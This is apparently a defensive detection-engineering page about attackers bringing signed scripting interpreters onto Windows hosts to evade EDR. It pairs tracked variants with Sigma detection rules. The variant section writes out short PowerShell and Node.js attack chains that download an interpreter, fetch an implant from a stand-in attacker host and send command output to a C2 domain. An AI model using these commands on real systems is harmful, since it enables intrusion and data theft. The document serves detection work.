BYOSI Scripting Interpreters
Adversaries bring legitimate, vendor-signed scripting interpreters (Python, PHP, Node.js, Ruby, Perl, AutoHotKey, etc.) onto a target system and execute malicious scripts through them, bypassing EDR solutions that focus on binary analysis and API hooking. Because every interpreter binary is validly signed by its vendor, EDRs whitelist or deprioritize the process. The malicious logic lives in plain-text script files that most EDR engines do not scan. The chokepoint is invariant: regardless of which interpreter is chosen, the attacker must (1) write or download a non-default interpreter binary to disk, (2) execute that interpreter as a new process, and (3) have the interpreter load and run attacker-controlled script content that performs the actual malicious action (C2 callback, credential theft, lateral movement). Each of these three stages produces telemetry that survives tool rotation across all 13+ supported interpreter languages.
Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Interpreter Deployment ▶
- Ability to write files to disk on the target system (interpreter binary + script payload)
- The scripting interpreter must be a legitimately signed binary compatible with the target OS
- Attacker-controlled script content must be accessible to the interpreter (local file, inline argument, or remote fetch)
- No application whitelisting policy blocking execution of the specific interpreter binary from non-standard paths
- Sysmon Event ID 11 (File Create)
- Sysmon Event ID 1 (Process Creation, archive extraction)
- Windows Security Event ID 4688 (Process Creation)
2 Interpreter Execution ▶
- Sysmon Event ID 1 (Process Creation)
- Windows Security Event ID 4688 (Process Creation)
- Sysmon Event ID 7 (Image Loaded, interpreter DLLs)
3 Malicious Script Action ▶
- Sysmon Event ID 3 (Network Connection)
- Sysmon Event ID 1 (Child Process Creation)
- Sysmon Event ID 11 (File Create)
- Sysmon Event ID 12/13 (Registry Create/Set Value)
Variations 8 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
BYOSI PHP Shell (oldkingcone) 2024-Q2 Active ▶
# Four lines of PowerShell. Evaded CrowdStrike, Trellix, SentinelOne:
Invoke-WebRequest -Uri "hxxps[://]windows.php.net/downloads/releases/php-8.2.0-nts-Win32-vs16-x64.zip" -OutFile "$env:TEMP\php.zip"
Expand-Archive "$env:TEMP\php.zip" -DestinationPath "C:\Temp\php"
Invoke-WebRequest -Uri "hxxps[://]attacker[.]com/implant.php" -OutFile "C:\Temp\php\shell.php"
C:\Temp\php\php.exe C:\Temp\php\shell.php
- Sysmon EID 11: php.exe written to C:\Temp\php\
- Sysmon EID 1: php.exe running from non-standard path
- Sysmon EID 3: php.exe making outbound C2 connection
PolyDrop (Multi-Language BYOSI) 2024-Q3 Active ▶
# Supports 13 languages. Example with Ruby:
Invoke-WebRequest -Uri "hxxps[://]github.com/.../rubyinstaller-3.2.2-1-x64.exe" -OutFile "$env:TEMP\ruby.exe"
Start-Process "$env:TEMP\ruby.exe" -ArgumentList "/silent" -Wait
Invoke-WebRequest -Uri "hxxps[://]attacker[.]com/payload.rb" -OutFile "$env:TEMP\payload.rb"
ruby.exe "$env:TEMP\payload.rb"
- Sysmon EID 11: Non-default interpreter binary written to TEMP/AppData
- Sysmon EID 1: Interpreter running from non-standard path
- Sysmon EID 3: Interpreter making outbound C2 connection
IronNetInjector (Turla APT — IronPython BYOI) 2021-Q1 Active ▶
# IronPython embedded via .NET:
# Malicious Python scripts loaded into memory via IronPython runtime
# No python.exe on disk. Uses .NET-hosted IronPython DLLs
# Injects Turla tools into legitimate processes
- Sysmon EID 7: IronPython DLLs loaded (IronPython.dll, Microsoft.Scripting.dll)
- Sysmon EID 1: .NET host process loading IronPython assemblies
- Memory: Python bytecode in non-Python process memory
Node.js Malware Delivery (ClickFix → NodeLoader) 2025-Q1 Active ▶
# Delivered via ClickFix, then:
powershell -c "Invoke-WebRequest -Uri 'hxxps[://]nodejs[.]org/dist/v20.0.0/node-v20.0.0-win-x64.zip' -OutFile node.zip"
Expand-Archive node.zip -DestinationPath C:\Users\Public\node
C:\Users\Public\node\node.exe -e "require('child_process').exec('whoami',function(e,o){require('https').request({hostname:'c2[.]attacker[.]com',path:'/'+o})})"
- Sysmon EID 11: node.exe written to Users\Public or AppData
- Sysmon EID 1: node.exe with -e flag and inline JavaScript
- Sysmon EID 3: node.exe outbound to non-npm domain
Lu0Bot (Node.js C2) 2023-Q2 Active ▶
node.exe --eval "<encrypted_js_payload>"
# Uses WMIC for system recon:
wmic computersystem get model
wmic os get caption
# C2 via encrypted WebSocket
- Sysmon EID 1: node.exe with --eval flag and encrypted content
- Sysmon EID 1: wmic.exe spawned by node.exe
- Sysmon EID 3: node.exe WebSocket connection to C2
Python Bytecode Evasion (PYC Execution) 2023-Q4 Emerging ▶
# Attacker pre-compiles Python scripts to .pyc bytecode:
python -m py_compile payload.py
# Deploys python.exe + payload.pyc:
python.exe payload.pyc
# .pyc files bypass text-based content scanning
- Sysmon EID 11: python.exe + .pyc file written to non-standard path
- Sysmon EID 1: python.exe executing .pyc file
BYOI .NET Embedded Interpreters (Boolang, IronPython) 2020-Q1 Active ▶
# .NET application embeds Boolang or IronPython runtime:
# No standalone interpreter binary on disk
# Scripts loaded from embedded resources or fetched remotely
# Executes within the .NET host process
- Sysmon EID 7: Boolang or IronPython DLLs loaded by .NET process
- Sysmon EID 1: .NET host with interpreter-related assemblies
AutoHotKey Script Abuse 2024-Q1 Emerging ▶
AutoHotkey.exe malicious_script.ahk
# AHK scripts can: keylog via SetWindowsHookEx, screenshot, execute shell commands, establish C2 via WinHTTP COM
- Sysmon EID 11: AutoHotkey.exe written to non-standard path
- Sysmon EID 1: AutoHotkey.exe running from AppData/Temp
- Sysmon EID 3: AutoHotkey.exe outbound C2
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Non-default interpreter executing from suspicious path with script argument o...
Hunt
Med FP
▶
Interpreter process from outside an approved development directory AND one of: CommandLine references a script file (.py, .pyc, .php, .js, .rb, .pl, .lua, .tcl, .r, .ahk, .dart, .ts), OR CommandLine uses inline execution flags (-e, -c, --eval, -exec, -r), OR within 60 seconds the process opens an outbound connection to a non-RFC1918 destination. Exclude CI/CD runners and developer workstations by hostname or OU.
title: Non-Default Interpreter Executing Script or Making Network Connection
id: c4a8b2e3-9d5f-4a0c-b3e7-2f6d0a1c4b9e
status: experimental
description: >
Detects scripting interpreters from non-standard paths referencing script files,
using inline execution flags, or making outbound connections.
references:
- https://github.com/oldkingcone/BYOSI
- https://github.com/MalwareSupportGroup/PolyDrop
- https://attack.mitre.org/techniques/T1059/006/
- https://attack.mitre.org/techniques/T1059/007/
- https://www.microsoft.com/en-us/security/blog/2025/04/15/threat-actors-misuse-node-js-to-deliver-malware-and-other-malicious-payloads/
author: "@iimp0ster"
date: 2026/03/29
tags:
- attack.defense_evasion
- attack.execution
- attack.t1059.006
- attack.t1059.007
- detection.maturity.hunt
logsource:
category: process_creation
product: windows
detection:
selection_interpreters:
Image|endswith:
- '\python.exe'
- '\python3.exe'
- '\pythonw.exe'
- '\php.exe'
- '\php-cgi.exe'
- '\node.exe'
- '\ruby.exe'
- '\perl.exe'
- '\lua.exe'
- '\AutoHotkey.exe'
- '\AutoHotkey64.exe'
- '\deno.exe'
- '\bun.exe'
selection_unusual_path:
Image|contains:
- '\Temp\'
- '\tmp\'
- '\Downloads\'
- '\AppData\'
- '\Users\Public\'
- '\Windows\Temp\'
- '\ProgramData\'
selection_script_args:
CommandLine|contains:
- '.py'
- '.pyc'
- '.pyw'
- '.php'
- '.js'
- '.mjs'
- '.rb'
- '.pl'
- '.lua'
- '.tcl'
- '.ahk'
- '.ts'
selection_inline_exec:
CommandLine|contains:
- ' -e '
- ' -c '
- ' --eval '
- ' -exec '
- ' -r '
- ' --require '
- ' -E '
filter_dev_tools:
Image|contains:
- '\Program Files\'
- '\Program Files (x86)\'
- '\Anaconda'
- '\Miniconda'
- '\scoop\apps\'
filter_npm_yarn:
ParentImage|endswith:
- '\npm.cmd'
- '\yarn.cmd'
- '\npx.cmd'
CommandLine|contains:
- 'node_modules'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_interpreters and selection_unusual_path and (selection_script_args or selection_inline_exec) and not filter_dev_tools and not filter_npm_yarn and not filter_legit_software
falsepositives:
- Developers running scripts from temporary build directories
- Software installers with embedded Python/Node.js scripts
- IT automation tools deploying from non-standard paths
level: medium
Non-default interpreter spawned by suspicious parent, executing scripts from ...
Analyst
Low FP
▶
Within a 120-second window: interpreter binary dropped to C:\Temp, %APPDATA%, %LOCALAPPDATA%, Downloads, or Windows\Temp, THEN executed with parent powershell/cmd/wscript/mshta/explorer and CommandLine referencing a temp-dir script or inline execution flags, THEN outbound to a non-RFC1918, non-Microsoft IP. Exclude developer machines, CI/CD build agents, and package manager update processes.
title: Interpreter Dropped to Temp Path Then Executed by Suspicious Parent with Network Callback
id: d5b9c3f4-ae6a-4b1d-c4f8-3a7e1b2d5c0f
status: experimental
description: >
Detects scripting interpreters from temp directories launched by suspicious parents
with command-line references to script files or inline execution flags.
references:
- https://github.com/oldkingcone/BYOSI
- https://github.com/MalwareSupportGroup/PolyDrop
- https://attack.mitre.org/techniques/T1059/006/
- https://attack.mitre.org/techniques/T1059/007/
- https://www.microsoft.com/en-us/security/blog/2025/04/15/threat-actors-misuse-node-js-to-deliver-malware-and-other-malicious-payloads/
- https://unit42.paloaltonetworks.com/ironnetinjector/
author: "@iimp0ster"
date: 2026/03/29
tags:
- attack.defense_evasion
- attack.execution
- attack.t1059.006
- attack.t1059.007
- detection.maturity.analyst
logsource:
category: process_creation
product: windows
detection:
selection_interpreters:
Image|endswith:
- '\python.exe'
- '\python3.exe'
- '\pythonw.exe'
- '\php.exe'
- '\php-cgi.exe'
- '\node.exe'
- '\ruby.exe'
- '\perl.exe'
- '\lua.exe'
- '\AutoHotkey.exe'
- '\AutoHotkey64.exe'
- '\deno.exe'
- '\bun.exe'
selection_temp_path:
Image|contains:
- '\Temp\'
- '\tmp\'
- '\Downloads\'
- '\AppData\Local\Temp\'
- '\AppData\Roaming\'
- '\Users\Public\'
- '\Windows\Temp\'
selection_suspicious_parent:
ParentImage|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\explorer.exe'
- '\wt.exe'
- '\WindowsTerminal.exe'
selection_script_or_inline:
- CommandLine|contains:
- '.py'
- '.pyc'
- '.php'
- '.js'
- '.mjs'
- '.rb'
- '.pl'
- '.lua'
- '.ahk'
- CommandLine|contains:
- ' -e '
- ' -c '
- ' --eval '
- ' -exec '
filter_known_legit:
# Package managers and known dev toolchains
CommandLine|contains:
- 'pip install'
- 'npm install'
- 'npm run'
- 'yarn '
- 'composer '
- 'bundle install'
- 'gem install'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_interpreters and selection_temp_path and selection_suspicious_parent and selection_script_or_inline and not filter_known_legit and not filter_legit_software
falsepositives:
- Rare edge case of legitimate software using PowerShell to invoke a portable interpreter from temp
- Some enterprise deployment tools that stage interpreters in temp directories
level: high
Detect non-default scripting interpreter binaries appearing on systems where ...
Research
High FP
▶
Any process creation or file create for known scripting interpreter binaries (python.exe, python3.exe, pythonw.exe, php.exe, php-cgi.exe, node.exe, ruby.exe, perl.exe, lua.exe, wish.exe, tclsh.exe, Rscript.exe, dart.exe, deno.exe, bun.exe, AutoHotkey.exe, AutoHotkey64.exe) from user-writable paths like C:\Temp, C:\Users\*\Downloads, C:\Users\*\AppData, or C:\Windows\Temp. Exclude Program Files, development tool directories, and package manager caches. Run to baseline the allowlist.
title: Non-Default Scripting Interpreter Execution from Unusual Path
id: b3f7a1d2-8c4e-4f9b-a2d6-1e5c9f0b3a8d
status: experimental
description: >
Detects scripting interpreter binaries executing from non-standard paths. Baseline
rule for mapping interpreter presence across the environment.
references:
- https://github.com/oldkingcone/BYOSI
- https://github.com/MalwareSupportGroup/PolyDrop
- https://attack.mitre.org/techniques/T1059/006/
- https://attack.mitre.org/techniques/T1059/007/
author: "@iimp0ster"
date: 2026/03/29
tags:
- attack.defense_evasion
- attack.execution
- attack.t1059.006
- attack.t1059.007
- attack.t1059
- detection.maturity.research
logsource:
category: process_creation
product: windows
detection:
selection_interpreters:
Image|endswith:
- '\python.exe'
- '\python3.exe'
- '\pythonw.exe'
- '\php.exe'
- '\php-cgi.exe'
- '\node.exe'
- '\ruby.exe'
- '\perl.exe'
- '\lua.exe'
- '\lua54.exe'
- '\luajit.exe'
- '\wish.exe'
- '\tclsh.exe'
- '\Rscript.exe'
- '\dart.exe'
- '\deno.exe'
- '\bun.exe'
- '\nim.exe'
- '\crystal.exe'
- '\AutoHotkey.exe'
- '\AutoHotkey64.exe'
- '\AutoHotkey32.exe'
selection_suspicious_paths:
Image|contains:
- '\Temp\'
- '\tmp\'
- '\Downloads\'
- '\AppData\Local\Temp\'
- '\AppData\Roaming\'
- '\Users\Public\'
- '\Windows\Temp\'
- '\ProgramData\'
- '\Recycle'
filter_known_dev_tools:
Image|contains:
- '\Program Files\'
- '\Program Files (x86)\'
- '\Chocolatey\'
- '\nvm\v'
- '\pyenv\'
- '\Anaconda'
- '\Miniconda'
- '\WinPython'
- '\scoop\apps\'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_interpreters and selection_suspicious_paths and not filter_known_dev_tools and not filter_legit_software
falsepositives:
- Legitimate software installers that bundle scripting interpreters temporarily
- Developer testing from non-standard directories
- CI/CD runners executing interpreters from workspace directories
- Portable development environments (WinPython, portable Node.js)
level: low
OSINT Pivots
behavior_processes:"php.exe" OR behavior_processes:"node.exe" OR behavior_processes:"python.exe" tag:drops-exe
"Invoke-WebRequest" "php" "extract" "C:\\Temp" OR "C:\\Users"
filename:php.exe OR filename:node.exe OR filename:python.exe OR filename:ruby.exe
References
- https://attack.mitre.org/techniques/T1059/006/
- https://attack.mitre.org/techniques/T1059/007/
- https://attack.mitre.org/techniques/T1059/
- https://github.com/oldkingcone/BYOSI
- https://github.com/MalwareSupportGroup/PolyDrop
- https://www.blackhillsinfosec.com/red-teamers-cookbook-byoi-bring-your-own-interpreter/
- https://unit42.paloaltonetworks.com/ironnetinjector/
- https://www.microsoft.com/en-us/security/blog/2025/04/15/threat-actors-misuse-node-js-to-deliver-malware-and-other-malicious-payloads/
- https://www.csoonline.com/article/575475/attackers-use-python-compiled-bytecode-to-evade-detection.html